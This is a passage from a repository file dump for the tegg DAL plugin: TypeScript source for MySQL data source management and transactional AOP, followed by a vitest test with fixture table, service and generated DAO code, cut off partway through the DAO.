`${ctx.moduleName}.${dataSource}.${clazz.name}`,\n            },\n          ],\n        });\n      }\n    }\n    return result;\n  },\n})\nexport class DataSourceDelegate<T> extends DataSource<T> {\n  // @ts-expect-error ignore nerver use\n  private transactionalAOP: TransactionalAOP;\n  objInfo: ObjectInfo;\n\n  constructor(\n    @Inject({ name: 'transactionalAOP' }) transactionalAOP: TransactionalAOP,\n    @MultiInstanceInfo([DataSourceQualifierAttribute, LoadUnitNameQualifierAttribute])\n    objInfo: ObjectInfo,\n  ) {\n    const dataSourceQualifierValue = objInfo.qualifiers.find(\n      (t) => t.attribute === DataSourceQualifierAttribute,\n    )?.value;\n    assert(dataSourceQualifierValue);\n    const [moduleName, dataSource, clazzName] = (dataSourceQualifierValue as string).split('.');\n    const tableModel = TableModelManager.instance.get(moduleName, clazzName);\n    assert(tableModel, `not found table ${dataSourceQualifierValue}`);\n    const mysqlDataSource = MysqlDataSourceManager.instance.get(moduleName, dataSource);\n    assert(mysqlDataSource, `not found dataSource ${dataSource} in module ${moduleName}`);\n    const sqlMap = SqlMapManager.instance.get(moduleName, clazzName);\n    assert(sqlMap, `not found SqlMap ${clazzName} in module ${moduleName}`);\n\n    super(tableModel as TableModel<T>, mysqlDataSource, sqlMap);\n    this.transactionalAOP = transactionalAOP;\n    this.objInfo = objInfo;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/src/lib/MysqlDataSourceManager.ts",
    "content": "import crypto from 'node:crypto';\n\nimport { type DataSourceOptions, MysqlDataSource } from '@eggjs/dal-runtime';\n\nexport class MysqlDataSourceManager {\n  static instance: MysqlDataSourceManager = new MysqlDataSourceManager();\n\n  private readonly dataSourceIndices: Map<\n    string /* moduleName */,\n    Map<string /* dataSourceName */, string /* dataSourceIndex */>\n  >;\n  private readonly dataSources: Map<string /* dataSourceIndex */, MysqlDataSource>;\n\n  constructor() {\n    this.dataSourceIndices = new Map();\n    this.dataSources = new Map();\n  }\n\n  get(moduleName: string, dataSourceName: string): MysqlDataSource | undefined {\n    const dataSourceIndex = this.dataSourceIndices.get(moduleName)?.get(dataSourceName);\n    if (dataSourceIndex) {\n      return this.dataSources.get(dataSourceIndex);\n    }\n  }\n\n  async createDataSource(moduleName: string, dataSourceName: string, config: DataSourceOptions): Promise<void> {\n    const { logger, ...dsConfig } = config || {};\n    const dataSourceConfig = {\n      ...dsConfig,\n      name: dataSourceName,\n    };\n    const index = MysqlDataSourceManager.createDataSourceKey(dataSourceConfig);\n    let dataSource = this.dataSources.get(index);\n    if (!dataSource) {\n      dataSource = new MysqlDataSource({ ...dataSourceConfig, logger });\n      this.dataSources.set(index, dataSource);\n    }\n    let moduleDataSourceIndices = this.dataSourceIndices.get(moduleName);\n    if (!moduleDataSourceIndices) {\n      moduleDataSourceIndices = new Map();\n      this.dataSourceIndices.set(moduleName, moduleDataSourceIndices);\n    }\n    moduleDataSourceIndices.set(dataSourceName, index);\n\n    await dataSource.ready();\n  }\n\n  clear(): void {\n    this.dataSourceIndices.clear();\n  }\n\n  static createDataSourceKey(dataSourceOptions: DataSourceOptions): string {\n    const hash = crypto.createHash('md5');\n    const keys = Object.keys(dataSourceOptions).sort();\n    for (const key of keys) {\n      const value = dataSourceOptions[key as keyof DataSourceOptions];\n      if (value) {\n        hash.update(key);\n        hash.update(String(value));\n      }\n    }\n    return hash.digest('hex');\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/src/lib/SqlMapManager.ts",
    "content": "import type { TableSqlMap } from '@eggjs/dal-runtime';\n\nexport class SqlMapManager {\n  static instance: SqlMapManager = new SqlMapManager();\n\n  private sqlMaps: Map</* moduleName */ string, Map<string, TableSqlMap>>;\n\n  constructor() {\n    this.sqlMaps = new Map();\n  }\n\n  get(moduleName: string, clazzName: string): TableSqlMap | undefined {\n    return this.sqlMaps.get(moduleName)?.get(clazzName);\n  }\n\n  set(moduleName: string, sqlMap: TableSqlMap): void {\n    let tables = this.sqlMaps.get(moduleName);\n    if (!tables) {\n      tables = new Map();\n      this.sqlMaps.set(moduleName, tables);\n    }\n    tables.set(sqlMap.name, sqlMap);\n  }\n\n  clear(): void {\n    this.sqlMaps.clear();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/src/lib/TableModelManager.ts",
    "content": "import type { TableModel } from '@eggjs/dal-decorator';\n\nexport class TableModelManager {\n  static instance: TableModelManager = new TableModelManager();\n\n  private tableModels: Map</* moduleName */ string, Map<string, TableModel>>;\n\n  constructor() {\n    this.tableModels = new Map();\n  }\n\n  get(moduleName: string, clazzName: string): TableModel | undefined {\n    return this.tableModels.get(moduleName)?.get(clazzName);\n  }\n\n  set(moduleName: string, tableModel: TableModel): void {\n    let tables = this.tableModels.get(moduleName);\n    if (!tables) {\n      tables = new Map();\n      this.tableModels.set(moduleName, tables);\n    }\n    tables.set(tableModel.clazz.name, tableModel);\n  }\n\n  clear(): void {\n    this.tableModels.clear();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/src/lib/TransactionPrototypeHook.ts",
    "content": "import assert from 'node:assert';\n\nimport { Pointcut } from '@eggjs/aop-decorator';\nimport type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { EggPrototype, EggPrototypeLifecycleContext } from '@eggjs/metadata';\nimport type { ModuleConfigHolder, Logger } from '@eggjs/tegg-types';\nimport { PropagationType } from '@eggjs/tegg-types';\nimport { TransactionMetaBuilder } from '@eggjs/transaction-decorator';\n\nimport { MysqlDataSourceManager } from './MysqlDataSourceManager.ts';\nimport { TransactionalAOP, type TransactionalParams } from './TransactionalAOP.ts';\n\nexport class TransactionPrototypeHook implements LifecycleHook<EggPrototypeLifecycleContext, EggPrototype> {\n  private readonly moduleConfigs: Record<string, ModuleConfigHolder>;\n  private readonly logger: Logger;\n\n  constructor(moduleConfigs: Record<string, ModuleConfigHolder>, logger: Logger) {\n    this.moduleConfigs = moduleConfigs;\n    this.logger = logger;\n  }\n\n  public async preCreate(ctx: EggPrototypeLifecycleContext): Promise<void> {\n    const builder = new TransactionMetaBuilder(ctx.clazz);\n    const transactionMetadataList = builder.build();\n    if (transactionMetadataList.length < 1) {\n      return;\n    }\n    const moduleName = ctx.loadUnit.name;\n    for (const transactionMetadata of transactionMetadataList) {\n      const clazzName = `${moduleName}.${ctx.clazz.name}.${String(transactionMetadata.method)}`;\n      const datasourceConfigs = (this.moduleConfigs[moduleName]?.config as any)?.dataSource || {};\n\n      let datasourceName: string;\n      if (transactionMetadata.datasourceName) {\n        assert(\n          datasourceConfigs[transactionMetadata.datasourceName],\n          `method ${clazzName} specified datasource ${transactionMetadata.datasourceName} not exists`,\n        );\n        datasourceName = transactionMetadata.datasourceName;\n        this.logger.info(`use datasource [${transactionMetadata.datasourceName}] for class ${clazzName}`);\n      } else {\n        const dataSources = Object.keys(datasourceConfigs);\n        if (dataSources.length === 1) {\n          datasourceName = dataSources[0];\n        } else {\n          throw new Error(\n            `method ${clazzName} not specified datasource, module ${moduleName} has multi datasource, should specify datasource name`,\n          );\n        }\n        this.logger.info(`use default datasource ${dataSources[0]} for class ${clazzName}`);\n      }\n      const adviceParams: TransactionalParams = {\n        propagation: transactionMetadata.propagation,\n        dataSourceGetter: () => {\n          const mysqlDataSource = MysqlDataSourceManager.instance.get(moduleName, datasourceName);\n          if (!mysqlDataSource) {\n            throw new Error(`method ${clazzName} not found datasource ${datasourceName}`);\n          }\n          return mysqlDataSource;\n        },\n      };\n      assert(\n        adviceParams.propagation === PropagationType.REQUIRED,\n        'Transactional propagation only support required for now',\n      );\n      Pointcut(TransactionalAOP, { adviceParams })((ctx.clazz as any).prototype, transactionMetadata.method);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/src/lib/TransactionalAOP.ts",
    "content": "import { Advice, type AdviceContext, type IAdvice } from '@eggjs/aop-decorator';\nimport { AccessLevel, type EggProtoImplClass, ObjectInitType } from '@eggjs/core-decorator';\nimport { MysqlDataSource } from '@eggjs/dal-runtime';\nimport { PropagationType } from '@eggjs/tegg-types';\n\nexport interface TransactionalParams {\n  propagation: PropagationType;\n  dataSourceGetter: () => MysqlDataSource;\n}\n\n@Advice({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n})\nexport class TransactionalAOP implements IAdvice<EggProtoImplClass, TransactionalParams> {\n  public async around(\n    ctx: AdviceContext<EggProtoImplClass, TransactionalParams>,\n    next: () => Promise<any>,\n  ): Promise<void> {\n    const { propagation, dataSourceGetter } = ctx.adviceParams!;\n    const dataSource = dataSourceGetter();\n    if (propagation === PropagationType.ALWAYS_NEW) {\n      return await dataSource.beginTransactionScope(next);\n    }\n    return await dataSource.beginTransactionScope(next);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/src/types.ts",
    "content": "import '@eggjs/tegg-plugin/types';\n"
  },
  {
    "path": "tegg/plugin/dal/test/dal.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, afterEach, beforeAll, afterAll, it, expect } from 'vitest';\n\n// @ts-ignore exclude file\nimport FooDAO from './fixtures/apps/dal-app/modules/dal/dal/dao/FooDAO.ts';\nimport { Foo } from './fixtures/apps/dal-app/modules/dal/Foo.ts';\nimport { getFixtures } from './utils.ts';\n\ndescribe('plugin/dal/test/dal.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(async () => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/dal-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('should work', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      const fooDAO = await ctx.getEggObject(FooDAO);\n      const foo = new Foo();\n      foo.name = 'name';\n      foo.col1 = 'col1';\n      foo.bitColumn = Buffer.from([0, 0]);\n      foo.boolColumn = 0;\n      foo.tinyIntColumn = 0;\n      foo.smallIntColumn = 1;\n      foo.mediumIntColumn = 3;\n      foo.intColumn = 3;\n      foo.bigIntColumn = '00099';\n      foo.decimalColumn = '00002.33333';\n      foo.floatColumn = 2.3;\n      foo.doubleColumn = 2.3;\n      foo.dateColumn = new Date('2020-03-15T16:00:00.000Z');\n      foo.dateTimeColumn = new Date('2024-03-16T01:26:58.677Z');\n      foo.timestampColumn = new Date('2024-03-16T01:26:58.677Z');\n      foo.timeColumn = '838:59:50.123';\n      foo.yearColumn = 2024;\n      foo.varCharColumn = 'var_char';\n      foo.binaryColumn = Buffer.from('b');\n      foo.varBinaryColumn = Buffer.from('var_binary');\n      foo.tinyBlobColumn = Buffer.from('tiny_blob');\n      foo.tinyTextColumn = 'text';\n      foo.blobColumn = Buffer.from('blob');\n      foo.textColumn = 'text';\n      foo.mediumBlobColumn = Buffer.from('medium_blob');\n      foo.longBlobColumn = Buffer.from('long_blob');\n      foo.mediumTextColumn = 'medium_text';\n      foo.longTextColumn = 'long_text';\n      foo.enumColumn = 'A';\n      foo.setColumn = 'B';\n      foo.geometryColumn = { x: 10, y: 10 };\n      foo.pointColumn = { x: 10, y: 10 };\n      foo.lineStringColumn = [\n        { x: 15, y: 15 },\n        { x: 20, y: 20 },\n      ];\n      foo.polygonColumn = [\n        [\n          { x: 0, y: 0 },\n          { x: 10, y: 0 },\n          { x: 10, y: 10 },\n          { x: 0, y: 10 },\n          { x: 0, y: 0 },\n        ],\n        [\n          { x: 5, y: 5 },\n          { x: 7, y: 5 },\n          { x: 7, y: 7 },\n          { x: 5, y: 7 },\n          { x: 5, y: 5 },\n        ],\n      ];\n      foo.multipointColumn = [\n        { x: 0, y: 0 },\n        { x: 20, y: 20 },\n        { x: 60, y: 60 },\n      ];\n      foo.multiLineStringColumn = [\n        [\n          { x: 10, y: 10 },\n          { x: 20, y: 20 },\n        ],\n        [\n          { x: 15, y: 15 },\n          { x: 30, y: 15 },\n        ],\n      ];\n      foo.multiPolygonColumn = [\n        [\n          [\n            { x: 0, y: 0 },\n            { x: 10, y: 0 },\n            { x: 10, y: 10 },\n            { x: 0, y: 10 },\n            { x: 0, y: 0 },\n          ],\n        ],\n        [\n          [\n            { x: 5, y: 5 },\n            { x: 7, y: 5 },\n            { x: 7, y: 7 },\n            { x: 5, y: 7 },\n            { x: 5, y: 5 },\n          ],\n        ],\n      ];\n      foo.geometryCollectionColumn = [\n        { x: 10, y: 10 },\n        { x: 30, y: 30 },\n        [\n          { x: 15, y: 15 },\n          { x: 20, y: 20 },\n        ],\n      ];\n      foo.jsonColumn = {\n        hello: 'json',\n      };\n      const insertResult = await fooDAO.insert(foo);\n      foo.id = insertResult.insertId;\n\n      const findFoo = await fooDAO.findByPrimary(foo.id);\n      expect(findFoo).toBeDefined();\n\n      const deleteResult = await fooDAO.delete(foo.id);\n      expect(deleteResult.affectedRows).toBe(1);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/config/config.default.ts",
    "content": "export default {\n  keys: 'test key',\n  security: {\n    csrf: {\n      ignoreJSON: false,\n    },\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/dal\"\n  },\n  {\n    \"package\": \"../../../../\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  teggAop: {\n    enable: true,\n    package: '@eggjs/aop-plugin',\n  },\n  teggDal: {\n    package: '@eggjs/dal-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/modules/dal/Foo.ts",
    "content": "import {\n  Column,\n  ColumnType,\n  type Geometry,\n  type GeometryCollection,\n  Index,\n  IndexType,\n  IndexStoreType,\n  type Line,\n  type MultiLine,\n  type MultiPoint,\n  type MultiPolygon,\n  type Point,\n  type Polygon,\n  Table,\n} from '@eggjs/dal-decorator';\n\n@Table({\n  name: 'egg_foo',\n  comment: 'foo table',\n  characterSet: 'utf8mb4',\n  collate: 'utf8mb4_unicode_ci',\n})\n@Index({\n  keys: ['name', 'col1'],\n  type: IndexType.UNIQUE,\n  storeType: IndexStoreType.BTREE,\n  comment: 'index comment\\n',\n})\n@Index({\n  keys: ['col1'],\n  type: IndexType.FULLTEXT,\n  comment: 'index comment\\n',\n})\nexport class Foo {\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n      autoIncrement: true,\n      comment: 'the primary key',\n    },\n  )\n  id: number;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  name: string;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      name: 'col1',\n    },\n  )\n  col1: string;\n\n  @Column({\n    type: ColumnType.BIT,\n    length: 10,\n  })\n  bitColumn: Buffer;\n\n  @Column({\n    type: ColumnType.BOOL,\n  })\n  boolColumn: 0 | 1;\n\n  @Column({\n    type: ColumnType.TINYINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  tinyIntColumn: number;\n\n  @Column({\n    type: ColumnType.SMALLINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  smallIntColumn: number;\n\n  @Column({\n    type: ColumnType.MEDIUMINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  mediumIntColumn: number;\n\n  @Column({\n    type: ColumnType.INT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  intColumn: number;\n\n  @Column({\n    type: ColumnType.BIGINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  bigIntColumn: string;\n\n  @Column({\n    type: ColumnType.DECIMAL,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  decimalColumn: string;\n\n  @Column({\n    type: ColumnType.FLOAT,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  floatColumn: number;\n\n  @Column({\n    type: ColumnType.DOUBLE,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  doubleColumn: number;\n\n  @Column({\n    type: ColumnType.DATE,\n  })\n  dateColumn: Date;\n\n  @Column({\n    type: ColumnType.DATETIME,\n    precision: 3,\n  })\n  dateTimeColumn: Date;\n\n  @Column({\n    type: ColumnType.TIMESTAMP,\n    precision: 3,\n  })\n  timestampColumn: Date;\n\n  @Column({\n    type: ColumnType.TIME,\n    precision: 3,\n  })\n  timeColumn: string;\n\n  @Column({\n    type: ColumnType.YEAR,\n  })\n  yearColumn: number;\n\n  @Column({\n    type: ColumnType.VARCHAR,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  varCharColumn: string;\n\n  @Column({\n    type: ColumnType.BINARY,\n  })\n  binaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.VARBINARY,\n    length: 100,\n  })\n  varBinaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYBLOB,\n  })\n  tinyBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  tinyTextColumn: string;\n\n  @Column({\n    type: ColumnType.BLOB,\n    length: 100,\n  })\n  blobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TEXT,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  textColumn: string;\n\n  @Column({\n    type: ColumnType.MEDIUMBLOB,\n  })\n  mediumBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.LONGBLOB,\n  })\n  longBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.MEDIUMTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  mediumTextColumn: string;\n\n  @Column({\n    type: ColumnType.LONGTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  longTextColumn: string;\n\n  @Column({\n    type: ColumnType.ENUM,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  enumColumn: string;\n\n  @Column({\n    type: ColumnType.SET,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  setColumn: string;\n\n  @Column({\n    type: ColumnType.GEOMETRY,\n  })\n  geometryColumn: Geometry;\n\n  @Column({\n    type: ColumnType.POINT,\n  })\n  pointColumn: Point;\n\n  @Column({\n    type: ColumnType.LINESTRING,\n  })\n  lineStringColumn: Line;\n\n  @Column({\n    type: ColumnType.POLYGON,\n  })\n  polygonColumn: Polygon;\n\n  @Column({\n    type: ColumnType.MULTIPOINT,\n  })\n  multipointColumn: MultiPoint;\n\n  @Column({\n    type: ColumnType.MULTILINESTRING,\n  })\n  multiLineStringColumn: MultiLine;\n\n  @Column({\n    type: ColumnType.MULTIPOLYGON,\n  })\n  multiPolygonColumn: MultiPolygon;\n\n  @Column({\n    type: ColumnType.GEOMETRYCOLLECTION,\n  })\n  geometryCollectionColumn: GeometryCollection;\n\n  @Column({\n    type: ColumnType.JSON,\n  })\n  jsonColumn: object;\n\n  static buildObj(): Foo {\n    const foo = new Foo();\n    foo.name = 'name';\n    foo.col1 = 'col1';\n    foo.bitColumn = Buffer.from([0, 0]);\n    foo.boolColumn = 0;\n    foo.tinyIntColumn = 0;\n    foo.smallIntColumn = 1;\n    foo.mediumIntColumn = 3;\n    foo.intColumn = 3;\n    foo.bigIntColumn = '00099';\n    foo.decimalColumn = '00002.33333';\n    foo.floatColumn = 2.3;\n    foo.doubleColumn = 2.3;\n    foo.dateColumn = new Date('2020-03-15T16:00:00.000Z');\n    foo.dateTimeColumn = new Date('2024-03-16T01:26:58.677Z');\n    foo.timestampColumn = new Date('2024-03-16T01:26:58.677Z');\n    foo.timeColumn = '838:59:50.123';\n    foo.yearColumn = 2024;\n    foo.varCharColumn = 'var_char';\n    foo.binaryColumn = Buffer.from('b');\n    foo.varBinaryColumn = Buffer.from('var_binary');\n    foo.tinyBlobColumn = Buffer.from('tiny_blob');\n    foo.tinyTextColumn = 'text';\n    foo.blobColumn = Buffer.from('blob');\n    foo.textColumn = 'text';\n    foo.mediumBlobColumn = Buffer.from('medium_blob');\n    foo.longBlobColumn = Buffer.from('long_blob');\n    foo.mediumTextColumn = 'medium_text';\n    foo.longTextColumn = 'long_text';\n    foo.enumColumn = 'A';\n    foo.setColumn = 'B';\n    foo.geometryColumn = { x: 10, y: 10 };\n    foo.pointColumn = { x: 10, y: 10 };\n    foo.lineStringColumn = [\n      { x: 15, y: 15 },\n      { x: 20, y: 20 },\n    ];\n    foo.polygonColumn = [\n      [\n        { x: 0, y: 0 },\n        { x: 10, y: 0 },\n        { x: 10, y: 10 },\n        { x: 0, y: 10 },\n        { x: 0, y: 0 },\n      ],\n      [\n        { x: 5, y: 5 },\n        { x: 7, y: 5 },\n        { x: 7, y: 7 },\n        { x: 5, y: 7 },\n        { x: 5, y: 5 },\n      ],\n    ];\n    foo.multipointColumn = [\n      { x: 0, y: 0 },\n      { x: 20, y: 20 },\n      { x: 60, y: 60 },\n    ];\n    foo.multiLineStringColumn = [\n      [\n        { x: 10, y: 10 },\n        { x: 20, y: 20 },\n      ],\n      [\n        { x: 15, y: 15 },\n        { x: 30, y: 15 },\n      ],\n    ];\n    foo.multiPolygonColumn = [\n      [\n        [\n          { x: 0, y: 0 },\n          { x: 10, y: 0 },\n          { x: 10, y: 10 },\n          { x: 0, y: 10 },\n          { x: 0, y: 0 },\n        ],\n      ],\n      [\n        [\n          { x: 5, y: 5 },\n          { x: 7, y: 5 },\n          { x: 7, y: 7 },\n          { x: 5, y: 7 },\n          { x: 5, y: 5 },\n        ],\n      ],\n    ];\n    foo.geometryCollectionColumn = [\n      { x: 10, y: 10 },\n      { x: 30, y: 30 },\n      [\n        { x: 15, y: 15 },\n        { x: 20, y: 20 },\n      ],\n    ];\n    foo.jsonColumn = {\n      hello: 'json',\n    };\n    return foo;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/modules/dal/FooService.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/tegg';\nimport { Transactional } from '@eggjs/tegg/transaction';\n\nimport FooDAO from './dal/dao/FooDAO.ts';\nimport { Foo } from './Foo.ts';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class FooService {\n  @Inject()\n  private readonly fooDAO: FooDAO;\n\n  @Transactional()\n  async succeedTransaction(): Promise<void> {\n    const foo = Foo.buildObj();\n    foo.name = 'insert_succeed_transaction_1';\n    const foo2 = Foo.buildObj();\n    foo2.name = 'insert_succeed_transaction_2';\n    await this.fooDAO.insert(foo);\n    await this.fooDAO.insert(foo2);\n  }\n\n  @Transactional()\n  async failedTransaction(): Promise<void> {\n    const foo = Foo.buildObj();\n    foo.name = 'insert_failed_transaction_1';\n    const foo2 = Foo.buildObj();\n    foo2.name = 'insert_failed_transaction_2';\n    await this.fooDAO.insert(foo);\n    await this.fooDAO.insert(foo2);\n    throw new Error('mock error');\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/modules/dal/dal/dao/FooDAO.ts",
    "content": "import { SingletonProto, AccessLevel } from '@eggjs/tegg';\n\nimport { Foo } from '../../Foo.ts';\nimport { BaseFooDAO } from './base/BaseFooDAO.ts';\n\n/**\n * FooDAO 类\n * @class FooDAO\n * @classdesc 在此扩展关于 Foo 数据的一切操作\n * @augments BaseFooDAO\n */\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class FooDAO extends BaseFooDAO {\n  async findByName(name: string): Promise<Foo[]> {\n    return this.dataSource.execute('findByName', {\n      name,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/modules/dal/dal/dao/base/BaseFooDAO.ts",
    "content": "import fs from 'node:fs';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport type { InsertResult, UpdateResult, DeleteResult } from '@eggjs/dal-decorator';\nimport { type DataSource, DataSourceInjectName, DataSourceQualifier, type ColumnTsType } from '@eggjs/dal-decorator';\nimport { Inject } from '@eggjs/tegg';\nimport { Dao } from '@eggjs/tegg/dal';\n\nimport { Foo } from '../../../Foo.ts';\nimport FooExtension from '../../extension/FooExtension.ts';\nimport Structure from '../../structure/Foo.json' with { type: 'json' };\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\ntype Optional<T, K extends keyof T> = Omit<T, K> & Partial<T>;\n/**\n * 自动生成的 FooDAO 基类\n * @class BaseFooDAO\n * @classdesc 该文件由 @eggjs/tegg 自动生成，请**不要**修改它！\n */\n/* istanbul ignore next */\n@Dao()\nexport class BaseFooDAO {\n  static clazzModel: typeof Foo = Foo;\n  static clazzExtension: typeof FooExtension = FooExtension;\n  static tableStature: typeof Structure = Structure;\n  private static _SQL: string;\n  static get tableSql(): string {\n    if (!this._SQL) {\n      this._SQL = fs.readFileSync(path.join(__dirname, '../../structure/Foo.sql'), 'utf8');\n    }\n    return this._SQL;\n  }\n  @Inject({\n    name: DataSourceInjectName,\n  })\n  @DataSourceQualifier('dal.foo.Foo')\n  protected readonly dataSource: DataSource<Foo>;\n\n  public async insert(raw: Optional<Foo, 'id'>): Promise<InsertResult> {\n    const data: Record<string, any> = {};\n    let tmp;\n\n    tmp = raw.id;\n    if (tmp !== undefined) {\n      data.$id = tmp;\n    }\n\n    tmp = raw.name;\n    if (tmp !== undefined) {\n      data.$name = tmp;\n    }\n\n    tmp = raw.col1;\n    if (tmp !== undefined) {\n      data.$col1 = tmp;\n    }\n\n    tmp = raw.bitColumn;\n    if (tmp !== undefined) {\n      data.$bitColumn = tmp;\n    }\n\n    tmp = raw.boolColumn;\n    if (tmp !== undefined) {\n      data.$boolColumn = tmp;\n    }\n\n    tmp = raw.tinyIntColumn;\n    if (tmp !== undefined) {\n      data.$tinyIntColumn = tmp;\n    }\n\n    tmp = raw.smallIntColumn;\n    if (tmp !== undefined) {\n      data.$smallIntColumn = tmp;\n    }\n\n    tmp = raw.mediumIntColumn;\n    if (tmp !== undefined) {\n      data.$mediumIntColumn = tmp;\n    }\n\n    tmp = raw.intColumn;\n    if (tmp !== undefined) {\n      data.$intColumn = tmp;\n    }\n\n    tmp = raw.bigIntColumn;\n    if (tmp !== undefined) {\n      data.$bigIntColumn = tmp;\n    }\n\n    tmp = raw.decimalColumn;\n    if (tmp !== undefined) {\n      data.$decimalColumn = tmp;\n    }\n\n    tmp = raw.floatColumn;\n    if (tmp !== undefined) {\n      data.$floatColumn = tmp;\n    }\n\n    tmp = raw.doubleColumn;\n    if (tmp !== undefined) {\n      data.$doubleColumn = tmp;\n    }\n\n    tmp = raw.dateColumn;\n    if (tmp !== undefined) {\n      data.$dateColumn = tmp;\n    }\n\n    tmp = raw.dateTimeColumn;\n    if (tmp !== undefined) {\n      data.$dateTimeColumn = tmp;\n    }\n\n    tmp = raw.timestampColumn;\n    if (tmp !== undefined) {\n      data.$timestampColumn = tmp;\n    }\n\n    tmp = raw.timeColumn;\n    if (tmp !== undefined) {\n      data.$timeColumn = tmp;\n    }\n\n    tmp = raw.yearColumn;\n    if (tmp !== undefined) {\n      data.$yearColumn = tmp;\n    }\n\n    tmp = raw.varCharColumn;\n    if (tmp !== undefined) {\n      data.$varCharColumn = tmp;\n    }\n\n    tmp = raw.binaryColumn;\n    if (tmp !== undefined) {\n      data.$binaryColumn = tmp;\n    }\n\n    tmp = raw.varBinaryColumn;\n    if (tmp !== undefined) {\n      data.$varBinaryColumn = tmp;\n    }\n\n    tmp = raw.tinyBlobColumn;\n    if (tmp !== undefined) {\n      data.$tinyBlobColumn = tmp;\n    }\n\n    tmp = raw.tinyTextColumn;\n    if (tmp !== undefined) {\n      data.$tinyTextColumn = tmp;\n    }\n\n    tmp = raw.blobColumn;\n    if (tmp !== undefined) {\n      data.$blobColumn = tmp;\n    }\n\n    tmp = raw.textColumn;\n    if (tmp !== undefined) {\n      data.$textColumn = tmp;\n    }\n\n    tmp = raw.mediumBlobColumn;\n    if (tmp !== undefined) {\n      data.$mediumBlobColumn = tmp;\n    }\n\n    tmp = raw.longBlobColumn;\n    if (tmp !== undefined) {\n      data.$longBlobColumn = tmp;\n    }\n\n    tmp = raw.mediumTextColumn;\n    if (tmp !== undefined) {\n      data.$mediumTextColumn = tmp;\n    }\n\n    tmp = raw.longTextColumn;\n    if (tmp !== undefined) {\n      data.$longTextColumn = tmp;\n    }\n\n    tmp = raw.enumColumn;\n    if (tmp !== undefined) {\n      data.$enumColumn = tmp;\n    }\n\n    tmp = raw.setColumn;\n    if (tmp !== undefined) {\n      data.$setColumn = tmp;\n    }\n\n    tmp = raw.geometryColumn;\n    if (tmp !== undefined) {\n      data.$geometryColumn = tmp;\n    }\n\n    tmp = raw.pointColumn;\n    if (tmp !== undefined) {\n      data.$pointColumn = tmp;\n    }\n\n    tmp = raw.lineStringColumn;\n    if (tmp !== undefined) {\n      data.$lineStringColumn = tmp;\n    }\n\n    tmp = raw.polygonColumn;\n    if (tmp !== undefined) {\n      data.$polygonColumn = tmp;\n    }\n\n    tmp = raw.multipointColumn;\n    if (tmp !== undefined) {\n    